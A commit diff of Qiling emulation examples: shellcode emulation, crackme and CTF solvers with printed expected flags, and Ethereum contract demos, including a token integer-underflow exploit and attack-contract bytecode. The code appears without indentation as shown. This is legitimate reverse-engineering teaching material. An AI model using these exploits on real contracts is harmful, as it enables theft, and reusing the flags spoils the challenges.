remove tab and replace with 4 space

This commit is contained in:
xwings
2023-02-28 17:53:17 +08:00
parent 9d2069e877
commit a08ef1f960
198 changed files with 19248 additions and 9819 deletions
@@ -0,0 +1,19 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from zipfile import ZipFile
from qiling import Qiling
from qiling.const import QL_VERBOSE
if __name__ == "__main__":
with ZipFile("shellcodes/win32_https_download.zip") as zip_reader:
with zip_reader.open('win32_https_download.bin', 'r', b'infected') as f:
sc = f.read()
ql = Qiling(code=sc, archtype="x86", ostype="windows", rootfs="rootfs/x86_windows", verbose=QL_VERBOSE.DEBUG)
ql.run()
+14
View File
@@ -0,0 +1,14 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.const import QL_VERBOSE
if __name__ == "__main__":
ql = Qiling(["rootfs/x8664_windows/bin/x8664_hello.exe"], "rootfs/x8664_windows", verbose=QL_VERBOSE.DEFAULT, libcache=True)
ql.run()
+122
View File
@@ -0,0 +1,122 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
import string
from qiling import Qiling
from qiling.const import QL_VERBOSE
from qiling.extensions import pipe
ROOTFS = r"rootfs/x86_linux"
class Solver:
def __init__(self, invalid: bytes):
# create a silent qiling instance
self.ql = Qiling([rf"{ROOTFS}/bin/crackme_linux"], ROOTFS, verbose=QL_VERBOSE.OFF)
self.ql.os.stdin = pipe.SimpleInStream(sys.stdin.fileno()) # take over the input to the program using a fake stdin
self.ql.os.stdout = pipe.NullOutStream(sys.stdout.fileno()) # disregard program output
# execute program until it reaches the 'main' function
self.ql.run(end=0x0804851b)
# record replay starting and ending points.
#
# since the emulation halted upon entering 'main', its return address is there on
# the stack. we use it to limit the emulation till function returns
self.replay_starts = self.ql.arch.regs.arch_pc
self.replay_ends = self.ql.stack_read(0)
# instead of restarting the whole program every time a new flag character is guessed,
# we will restore its state to the latest point possible, fast-forwarding a good
# amount of start-up code that is not affected by the input.
#
# here we save the state just when 'main' is about to be called so we could use it
# to jumpstart the initialization part and get to 'main' immediately
self.jumpstart = self.ql.save() or {}
# calibrate the replay instruction count by running the code with an invalid input
# first. the instruction count returned from the calibration process will be then
# used as a baseline for consequent replays
self.best_icount = self.__run(invalid)
def __run(self, input: bytes) -> int:
icount = [0]
def __count_instructions(ql: Qiling, address: int, size: int):
icount[0] += 1
# set a hook to fire up every time an instruction is about to execute
hobj = self.ql.hook_code(__count_instructions)
# feed stdin with input
self.ql.os.stdin.write(input + b'\n')
# resume emulation till function returns
self.ql.run(begin=self.replay_starts, end=self.replay_ends)
hobj.remove()
return icount[0]
def replay(self, input: bytes) -> bool:
"""Restore state and replay with a new input.
Returns an indication to execution progress: `True` if a progress
was made, `False` otherwise
"""
# restore program's state back to the starting point
self.ql.restore(self.jumpstart)
# resume emulation and count emulated instructions
curr_icount = self.__run(input)
# the larger part of the input is correct, the more instructions are expected to be executed. this is true
# for traditional loop-based validations like strcmp or memcmp which bails as soon as a mismatch is found:
# more correct characters mean more loop iterations - thus more executed instructions.
#
# if we got a higher instruction count, it means we made a progress in the right direction
if curr_icount > self.best_icount:
self.best_icount = curr_icount
return True
return False
def progress(msg: str) -> None:
print(msg, end='\r', file=sys.stderr, flush=True)
def main():
flag = bytearray(b'*****')
indices = (1, 4, 2, 0, 3)
# all possible flag characters (may be reduced to uppercase and digits to save time)
charset = string.printable
progress('Initializing...')
solver = Solver(flag)
for i in indices:
for ch in charset:
flag[i] = ord(ch)
progress(f'Guessing... {flag.decode()}')
if solver.replay(flag):
break
else:
raise RuntimeError('no match found')
print(f'\nFlag found!')
if __name__ == "__main__":
main()
# expected flag: L1NUX
+120
View File
@@ -0,0 +1,120 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.const import QL_VERBOSE
from qiling.extensions import pipe
ROOTFS = r"rootfs/x86_windows"
class Solver:
def __init__(self, invalid: bytes):
# create a silent qiling instance
self.ql = Qiling([rf"{ROOTFS}/bin/crackme.exe"], ROOTFS, verbose=QL_VERBOSE.DISABLED)
self.ql.os.stdin = pipe.SimpleInStream(sys.stdin.fileno()) # take over the input to the program using a fake stdin
self.ql.os.stdout = pipe.NullOutStream(sys.stdout.fileno()) # disregard program output
# execute program until it reaches the part that asks for input
self.ql.run(end=0x401030)
# record replay starting and ending points.
#
# since the emulation halted upon entering a function, its return address is there on
# the stack. we use it to limit the emulation till function returns
self.replay_starts = self.ql.arch.regs.arch_pc
self.replay_ends = self.ql.stack_read(0)
# instead of restarting the whole program every time a new flag character is guessed,
# we will restore its state to the latest point possible, fast-forwarding a good
# amount of start-up code that is not affected by the input.
#
# here we save the state just when the read input function is about to be called so we
# could use it to jumpstart the initialization part and get to the read input immediately
self.jumpstart = self.ql.save() or {}
# calibrate the replay instruction count by running the code with an invalid input
# first. the instruction count returned from the calibration process will be then
# used as a baseline for consequent replays
self.best_icount = self.__run(invalid)
def __run(self, input: bytes) -> int:
icount = [0]
def __count_instructions(ql: Qiling, address: int, size: int):
icount[0] += 1
# set a hook to fire up every time an instruction is about to execute
hobj = self.ql.hook_code(__count_instructions)
# feed stdin with input
self.ql.os.stdin.write(input + b'\n')
# resume emulation till function returns
self.ql.run(begin=self.replay_starts, end=self.replay_ends)
hobj.remove()
return icount[0]
def replay(self, input: bytes) -> bool:
"""Restore state and replay with a new input.
Returns an indication to execution progress: `True` if a progress
was made, `False` otherwise
"""
# restore program's state back to the starting point
self.ql.restore(self.jumpstart)
# resume emulation and count emulated instructions
curr_icount = self.__run(input)
# the larger part of the input is correct, the more instructions are expected to be executed. this is true
# for traditional loop-based validations like strcmp or memcmp which bails as soon as a mismatch is found:
# more correct characters mean more loop iterations - thus more executed instructions.
#
# if we got a higher instruction count, it means we made a progress in the right direction
if curr_icount > self.best_icount:
self.best_icount = curr_icount
return True
return False
def progress(msg: str) -> None:
print(msg, end='\r', file=sys.stderr, flush=True)
def main():
flag = bytearray(b'BJWXB_CTF{********-****-****-****-************}')
indices = (i for i, ch in enumerate(flag) if ch == ord('*'))
# uppercase hex digits
charset = '0123456789ABCDEF'
progress('Initializing...')
solver = Solver(flag)
for i in indices:
for ch in charset:
flag[i] = ord(ch)
progress(f'Guessing... {flag.decode()}')
if solver.replay(flag):
break
else:
raise RuntimeError('no match found')
print(f'\nFlag found!')
if __name__ == "__main__":
main()
# expected flag: BJWXB_CTF{C5307D46-E70E-4038-B6F9-8C3F698B7C53}
+71
View File
@@ -0,0 +1,71 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
from qiling.extensions import pipe
from qiling.const import QL_INTERCEPT, QL_VERBOSE
from qiling.os.windows.api import HWND, UINT, LONG
def hook_DialogBoxParamA_onexit(ql: Qiling, address: int, params, retval: int):
# extract lpDialogFunc value
# [see arguments list at 'qiling/os/windows/dlls/user32.py' -> 'hook_DialogBoxParamA']
lpDialogFunc = params['lpDialogFunc']
def call_DialogFunc(ql: Qiling):
# we would like to resume from the exact same address that used to invoke
# this hook. in order to prevent an endless loop of hook invocations, we
# remove the hook through its handle.
hh.remove()
WM_COMMAND = 0x111
IDS_APPNAME = 1001
# [steps #3 and #4]
# set up the arguments and call the address passed through the lpDialogFunc
# param. make sure it resumes back to where we were.
ql.os.fcall.call_native(lpDialogFunc, (
(HWND, 0),
(UINT, WM_COMMAND),
(UINT, IDS_APPNAME),
(LONG, 0),
), ql.arch.regs.arch_pc)
# get DialogBoxParamA return address; should be the first item on the stack
retaddr = ql.arch.stack_read(0)
# we would like to call DialogFunc as soon as DialogBoxParamA returns, so we
# hook its return address. once it returns, 'call_DialogFunc' will be invoked.
hh = ql.hook_address(call_DialogFunc, retaddr)
def our_sandbox(path: str, rootfs: str):
ql = Qiling([path], rootfs, verbose=QL_VERBOSE.DEFAULT)
# this crackme's logic lies within the function passed to DialogBoxParamA through
# the lpDialogFunc parameter. normally DialogBoxParamA would call the function
# passed through that parameter, but Qiling's implementation for it doesn't do
# that.
#
# to solve this crackme and force the "success" dialog to show, we will:
# 1. set up a mock stdin and feed it with the correct flag
# 1. hook DialogBoxParamA to see where its lpDialogFunc param points to
# 2. set up a valid set of arguments DialogFunc expects to see
# 3. call it and see it greets us with a "success" message
# [step #1]
# set up a mock stdin and feed it with mocked keystrokes
ql.os.stdin = pipe.SimpleInStream(sys.stdin.fileno())
ql.os.stdin.write(b'Ea5yR3versing\n')
# [step #2]
# intercept DialogBoxParamA on exit
ql.os.set_api('DialogBoxParamA', hook_DialogBoxParamA_onexit, QL_INTERCEPT.EXIT)
ql.run()
if __name__ == "__main__":
our_sandbox(r"rootfs/x86_windows/bin/Easy_CrackMe.exe", r"rootfs/x86_windows")
@@ -0,0 +1,45 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
def force_call_dialog_func(ql: Qiling):
# this hook is invoked after returning from DialogBoxParamA, so its
# stack frame content is still available to us.
# get DialogFunc address
lpDialogFunc = ql.stack_read(-8)
# setup stack for DialogFunc
ql.stack_push(0)
ql.stack_push(1001)
ql.stack_push(273)
ql.stack_push(0)
ql.stack_push(0x0401018)
# force EIP to DialogFunc
ql.arch.regs.eip = lpDialogFunc
def my_sandbox(path, rootfs):
ql = Qiling(path, rootfs)
# patch the input validation code: overwrite all its breaking points
# denoted with "jne 0x401135", so it would keep going even if there
# is an error
ql.patch(0x004010B5, b'\x90\x90')
ql.patch(0x004010CD, b'\x90\x90')
ql.patch(0x0040110B, b'\x90\x90')
ql.patch(0x00401112, b'\x90\x90')
# hook the instruction after returning from DialogBoxParamA
ql.hook_address(force_call_dialog_func, 0x00401016)
ql.run()
if __name__ == "__main__":
my_sandbox(["rootfs/x86_windows/bin/Easy_CrackMe.exe"], "rootfs/x86_windows")
@@ -0,0 +1,38 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("..")
from qiling import Qiling
def force_call_dialog_func(ql: Qiling):
# this hook is invoked after returning from DialogBoxParamA, so its
# stack frame content is still available to us.
# get DialogFunc address
lpDialogFunc = ql.stack_read(-8)
# setup stack for DialogFunc
ql.stack_push(0)
ql.stack_push(1001)
ql.stack_push(273)
ql.stack_push(0)
ql.stack_push(0x0401018)
# force EIP to DialogFunc
ql.arch.regs.eip = lpDialogFunc
def our_sandbox(path, rootfs):
ql = Qiling(path, rootfs)
# hook the instruction after returning from DialogBoxParamA
ql.hook_address(force_call_dialog_func, 0x00401016)
ql.run()
if __name__ == "__main__":
# Flag is : Ea5yR3versing
our_sandbox(["rootfs/x86_windows/bin/Easy_CrackMe.exe"], "rootfs/x86_windows")
+210
View File
@@ -0,0 +1,210 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys, curses, math, struct, string, time
sys.path.append("..")
from qiling import *
from qiling.const import *
from qiling.os.disk import QlDisk
from qiling.os.dos.utils import BIN2BCD
from struct import pack
# https://stackoverflow.com/questions/9829578/fast-way-of-counting-non-zero-bits-in-positive-integer
def CountBits(n):
n = (n & 0x5555555555555555) + ((n & 0xAAAAAAAAAAAAAAAA) >> 1)
n = (n & 0x3333333333333333) + ((n & 0xCCCCCCCCCCCCCCCC) >> 2)
n = (n & 0x0F0F0F0F0F0F0F0F) + ((n & 0xF0F0F0F0F0F0F0F0) >> 4)
n = (n & 0x00FF00FF00FF00FF) + ((n & 0xFF00FF00FF00FF00) >> 8)
n = (n & 0x0000FFFF0000FFFF) + ((n & 0xFFFF0000FFFF0000) >> 16)
n = (n & 0x00000000FFFFFFFF) + ((n & 0xFFFFFFFF00000000) >> 32) # This last & isn't strictly necessary.
return n
def ham(lhs: int, rhs: int):
return CountBits(lhs^rhs)
def calavghd(bs: bytes, sz: int):
groups = len(bs) // sz
hdsum = 0
seqs = [ bs[i*sz:(i+1)*sz] for i in range(groups)]
for i in range(groups-1):
seq1 = seqs[i]
seq2 = seqs[(i+1)%groups]
lc = 0
for j in range(sz):
lc += ham(seq1[j], seq2[j])
hdsum += ham(seq1[j], seq2[j])
return hdsum / groups, hdsum / groups / sz
def calavghdall(bs: bytes, maxsz: int):
r = []
for i in range(1, maxsz):
r.append((i, *calavghd(bs, i)))
r.sort(key=lambda x: x[2])
return r
# Implmentation for https://trustedsignal.blogspot.com/2015/06/xord-play-normalized-hamming-distance.html
def guess_key_size(orig: bytes, maxsz=20):
avghd = calavghdall(orig, maxsz)
gcd12 = math.gcd(avghd[0][0], avghd[1][0])
gcd13 = math.gcd(avghd[0][0], avghd[2][0])
gcd23 = math.gcd(avghd[1][0], avghd[2][0])
if gcd12 != 1:
if gcd12 == gcd13 and gcd12 == gcd23:
if gcd12 in [t[0] for t in avghd[:5]]:
if gcd12 == avghd[0][0] or gcd12 == avghd[0][1]:
return gcd12
return avghd[0][0]
def is_all_printable(bs: bytes):
for b in bs:
if chr(b) not in string.printable:
return False
return True
def countchar(bs: bytes):
d = {}
for ch in bs:
if ch not in d:
d[ch] = 0
d[ch] += 1
r = [(chr(k), v) for k, v in d.items()]
r.sort(key=lambda x: x[1], reverse=True)
return r
def cal_count_for_seqs(seqs: dict):
seqs_keys={}
for seq in seqs:
seqs_keys[seq] = {}
for ch in range(0x20, 0x7E+1):
xored = bytes([b^ch for b in seq])
if not is_all_printable(xored):
continue
count = countchar(xored)
seqs_keys[seq][ch] = count
return seqs_keys
def search_possible_key(seqs: dict, seqs_keys: dict, max_occur=3):
keys = set()
cached = {}
def _impl(seq_idx: bytes, repeated: int, key: str):
if seq_idx == len(seqs):
keys.add(key)
return
if repeated not in cached[seq_idx]:
return
for ch in cached[seq_idx][repeated]:
_impl(seq_idx + 1, repeated, key + bytes([ch]))
return
for idx, seq in enumerate(seqs):
cached[idx] = {}
for ch, count in seqs_keys[seq].items():
for tp in count[:max_occur]:
if ord(tp[0]) not in cached[idx]:
cached[idx][ord(tp[0])] = []
cached[idx][ord(tp[0])].append(ch)
for i in range(0x20, 0x7E+1):
_impl(0, i, b"")
return keys
def echo_key(ql: Qiling, key):
# Note: In most cases, users are not supposed to use `ql.os.stdscr`
# directly. The hack here is to show the corresponding key.
stdscr = ql.os.stdscr
y, _ = stdscr.getmaxyx()
stdscr.addstr(y-2, 0, f"Current key: {key}")
stdscr.refresh()
def show_once(ql: Qiling, key):
klen = len(key)
ql.arch.regs.ax = klen
ql.mem.write(0x87F4, key)
# Partial exectution to skip input reading
ql.run(begin=0x801B, end=0x803d)
echo_key(ql, key)
time.sleep(1)
# In this stage, we show every key.
def third_stage(keys):
# To setup terminal again, we have to restart the whole program.
ql = Qiling(["rootfs/8086/doogie/doogie.DOS_MBR"],
"rootfs/8086",
console=False)
ql.add_fs_mapper(0x80, QlDisk("rootfs/8086/doogie/doogie.DOS_MBR", 0x80))
ql.os.set_api((0x1a, 4), set_required_datetime, QL_INTERCEPT.EXIT)
hk = ql.hook_code(stop, begin=0x8018, end=0x8018)
ql.run()
ql.hook_del(hk)
# Snapshot API.
ctx = ql.save()
for key in keys:
show_once(ql, key)
ql.restore(ctx)
# In this stage, we crack the encrypted buffer.
def second_stage(ql: Qiling):
data = bytes(read_until_zero(ql, 0x8809))
key_size = guess_key_size(data) # Should be 17
seqs = []
for i in range(key_size):
seq = b""
j = i
while j < len(data):
seq += bytes([data[j]])
j += key_size
seqs.append(seq)
seqs_keys = cal_count_for_seqs(seqs)
keys = search_possible_key(seqs, seqs_keys)
return keys
def read_until_zero(ql: Qiling, addr):
buf = b""
ch = -1
while ch != 0:
ch = ql.mem.read(addr, 1)[0]
buf += pack("B", ch)
addr += 1
return buf
def set_required_datetime(ql: Qiling):
ql.log.info("Setting Feburary 06, 1990")
ql.arch.regs.ch = BIN2BCD(19)
ql.arch.regs.cl = BIN2BCD(1990%100)
ql.arch.regs.dh = BIN2BCD(2)
ql.arch.regs.dl = BIN2BCD(6)
def stop(ql, addr, data):
ql.emu_stop()
# In this stage, we get the encrypted data which xored with the specific date.
def first_stage():
ql = Qiling(["rootfs/8086/doogie/doogie.DOS_MBR"],
"rootfs/8086",
console=False)
ql.add_fs_mapper(0x80, QlDisk("rootfs/8086/doogie/doogie.DOS_MBR", 0x80))
# Doogie suggests that the datetime should be 1990-02-06.
ql.os.set_api((0x1a, 4), set_required_datetime, QL_INTERCEPT.EXIT)
# A workaround to stop the program.
hk = ql.hook_code(stop, begin=0x8018, end=0x8018)
ql.run()
ql.hook_del(hk)
return ql
if __name__ == "__main__":
ql = first_stage()
# resume terminal
curses.endwin()
keys = second_stage(ql)
for key in keys:
print(f"Possible key: {key}")
# The key of this challenge is not unique. The real
# result depends on the last ascii art.
print("Going to try every key.")
time.sleep(3)
third_stage(keys)
# resume terminal
curses.endwin()
+52
View File
@@ -0,0 +1,52 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
# https://etherscan.io/tx/0x9243d45ca81db4f16a0ded3e57982b4bc95ec32ce69d541bf6e019d949cbc6c8
# https://www.anquanke.com/post/id/145520
import sys
sys.path.append("../..")
from qiling import *
def example_run_evm():
contract = '0x606060405266017dfcdece4000600055341561001a57600080fd5b600160a060020a033316600090815260016020526040902066017dfcdece400090556106eb8061004b6000396000f3006060604052600436106100c45763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100c9578063095ea7b31461015357806318160ddd1461018957806323b872dd146101ae57806327edf097146101d6578063313ce567146101ff578063378dc3dc1461021257806342966c681461022557806370a082311461023b578063771282f61461025a57806395d89b411461026d578063a9059cbb14610280578063dd62ed3e146102a2575b600080fd5b34156100d457600080fd5b6100dc6102c7565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610118578082015183820152602001610100565b50505050905090810190601f1680156101455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015e57600080fd5b610175600160a060020a03600435166024356102fe565b604051901515815260200160405180910390f35b341561019457600080fd5b61019c6103a4565b60405190815260200160405180910390f35b34156101b957600080fd5b610175600160a060020a03600435811690602435166044356103aa565b34156101e157600080fd5b6101e9610422565b60405160ff909116815260200160405180910390f35b341561020a57600080fd5b6101e9610427565b341561021d57600080fd5b61019c61042c565b341561023057600080fd5b610175600435610437565b341561024657600080fd5b61019c600160a060020a03600435166104ea565b341561026557600080fd5b61019c6104fc565b341561027857600080fd5b6100dc610502565b341561028b57600080fd5b610175600160a060020a0360043516602435610539565b34156102ad57600080fd5b61019c600160a060020a036004358116906024351661054f565b60408051908101604052600781527f48657861676f6e00000000000000000000000000000000000000000000000000602082015281565b60008115806103305750600160a060020a03338116600090815260026020908152604080832093871683529290522054155b151561033b57600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005490565b600160a060020a03808416600090815260026020908152604080832033909416835292905290812054829010156103e057600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052208054839003905561041884848461056c565b5060019392505050565b600281565b600481565b66017dfcdece400081565b600160a060020a0333166000908152600160205260408120548290101561045d57600080fd5b600160a060020a033316600081815260016020526040808220805486900390558180527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb4980548601905581548590039091557fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a2506001919050565b60016020526000908152604090205481565b60005481565b60408051908101604052600381527f4858470000000000000000000000000000000000000000000000000000000000602082015281565b600061054633848461056c565b50600192915050565b600260209081526000928352604080842090915290825290205481565b600160a060020a038216151561058157600080fd5b600160a060020a038316600090815260016020526040902054600282019010156105aa57600080fd5b600160a060020a038216600090815260016020526040902054818101116105d057600080fd5b600160a060020a03808416600081815260016020526040808220805460011990879003810190915593861682528082208054860190558180527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb4980546002908101909155825490940190915590917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5915160ff909116815260200160405180910390a281600160a060020a031683600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a35050505600a165627a7a72305820fbef5b10322242b8659b5de8e24ec1cf5e809831f6f7c08e52112f76daa31aef0029'
ql = Qiling(code=contract, archtype="evm")
user1 = ql.arch.evm.create_account(balance=100*10**18)
user2 = ql.arch.evm.create_account(balance=100*10**18)
c1 = ql.arch.evm.create_account()
def check_balance(sender, destination):
call_data = '0x70a08231'+ql.arch.evm.abi.convert(['address'], [sender])
msg2 = ql.arch.evm.create_message(sender, destination, data=call_data)
return ql.run(code=msg2)
# Deploy runtime code
msg0 = ql.arch.evm.create_message(user1, b'', code=contract, contract_address=c1)
ql.run(code=msg0)
# # SMART CONTRACT DEPENDENT: check balance of user1
result = check_balance(user1, c1)
print('User1 balance =', int(result.output.hex()[2:], 16))
# # SMART CONTRACT DEPENDENT: transform from user1 to user2
call_data = '0xa9059cbb'+ ql.arch.evm.abi.convert(['address'], [user2]) + \
ql.arch.evm.abi.convert(['uint256'], [0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe])
msg1 = ql.arch.evm.create_message(user1, c1, data=call_data)
result = ql.run(code=msg1)
if int(result.output.hex()[2:], 16) == 1:
print('User1 transfered Token to User1')
# # SMART CONTRACT DEPENDENT: User1 balance underflow, MAX - 1
result = check_balance(user1, c1)
print('User1 final balance =', int(result.output.hex()[2:], 16))
result = check_balance(user2, c1)
print('User2 final balance =', int(result.output.hex()[2:], 16))
if __name__ == "__main__":
example_run_evm()
+25
View File
@@ -0,0 +1,25 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("../..")
from qiling import *
if __name__ == '__main__':
contract = '0x6060604052341561000f57600080fd5b60405160208061031c833981016040528080519060200190919050508060018190556000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050610299806100836000396000f300606060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610085578063a9059cbb146100d2575b600080fd5b341561006757600080fd5b61006f61012c565b6040518082815260200191505060405180910390f35b341561009057600080fd5b6100bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610132565b6040518082815260200191505060405180910390f35b34156100dd57600080fd5b610112600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061017a565b604051808215151515815260200191505060405180910390f35b60015481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156101cb57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060019050929150505600a165627a7a7230582098f1551a391a3e65b3ce45cfa2b3fa5f91eea9a3e7181a81454e025ea0d7151c0029'
ql = Qiling(code=contract, archtype="evm")
ql.debugger = True
# Add Balance Var to the contract
bal = ql.arch.evm.abi.convert(['uint256'], [20])
contract = contract + bal
user1 = ql.arch.evm.create_account(balance=100*10**18)
user2 = ql.arch.evm.create_account(balance=100*10**18)
c1 = ql.arch.evm.create_account()
msg0 = ql.arch.evm.create_message(user1, b'', code=contract, contract_address=c1)
ql.run(code=msg0)
+84
View File
@@ -0,0 +1,84 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import sys
sys.path.append("../..")
from qiling import *
from qiling.arch.evm.vm.utils import bytecode_to_bytes, runtime_code_detector
from qiling.arch.evm.vm.vm import BaseVM
from qiling.arch.evm.constants import CREATE_CONTRACT_ADDRESS
if __name__ == '__main__':
# Attack_contract = '0x608060405234801561001057600080fd5b5060405160208061046d83398101806040528101908080519060200190929190505050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506103ea806100836000396000f300608060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680636289d38514610152578063acd2e6e51461015c578063ff11e1db146101b3575b670de0b6b3a76400006000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16311115610150576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663155dd5ee670de0b6b3a76400006040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561013757600080fd5b505af115801561014b573d6000803e3d6000fd5b505050505b005b61015a6101ca565b005b34801561016857600080fd5b50610171610339565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101bf57600080fd5b506101c861035e565b005b670de0b6b3a764000034101515156101e157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e2c41dbc670de0b6b3a76400006040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b15801561026e57600080fd5b505af1158015610282573d6000803e3d6000fd5b50505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663155dd5ee670de0b6b3a76400006040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561031f57600080fd5b505af1158015610333573d6000803e3d6000fd5b50505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501580156103bb573d6000803e3d6000fd5b505600a165627a7a723058204ad3139b1085c12112b76e9eab70c6589942d6e84eb3d8329a644eca757c19d00029'
Attack_contract = '0x608060405234801561001057600080fd5b506040516020806104b883398101806040528101908080519060200190929190505050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610435806100836000396000f30060806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063a75e462514610179578063ff11e1db146101e1575b670de0b6b3a76400006000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16311115610177576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600060149054906101000a90047c0100000000000000000000000000000000000000000000000000000000027c01000000000000000000000000000000000000000000000000000000009004670de0b6b3a76400006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1681526020019150506000604051808303816000875af192505050505b005b6101df60048036038101908080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916906020019092919080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690602001909291905050506101f8565b005b3480156101ed57600080fd5b506101f66103a9565b005b80600060146101000a81548163ffffffff02191690837c010000000000000000000000000000000000000000000000000000000090040217905550670de0b6b3a7640000341015151561024a57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000837c01000000000000000000000000000000000000000000000000000000009004906040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160006040518083038185885af19350505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16817c01000000000000000000000000000000000000000000000000000000009004670de0b6b3a76400006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1681526020019150506000604051808303816000875af192505050505050565b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610406573d6000803e3d6000fd5b505600a165627a7a723058205aacb19a5864d2c460aed6c844f2aca575d87de6477ac757a72511bb2975b3f80029'
ql = Qiling(code=Attack_contract, archtype="evm")
vm:BaseVM = ql.arch.evm.vm
C1 = b'\xaa' * 20
C2 = b'\xbb' * 20
User1 = b'\xcc' * 20
User2 = b'\xde\xad\xbe\xef' * 5
ql.arch.evm.create_account(C1)
ql.arch.evm.create_account(C2)
ql.arch.evm.create_account(User1, 100*10**18)
ql.arch.evm.create_account(User2, 100*10**18)
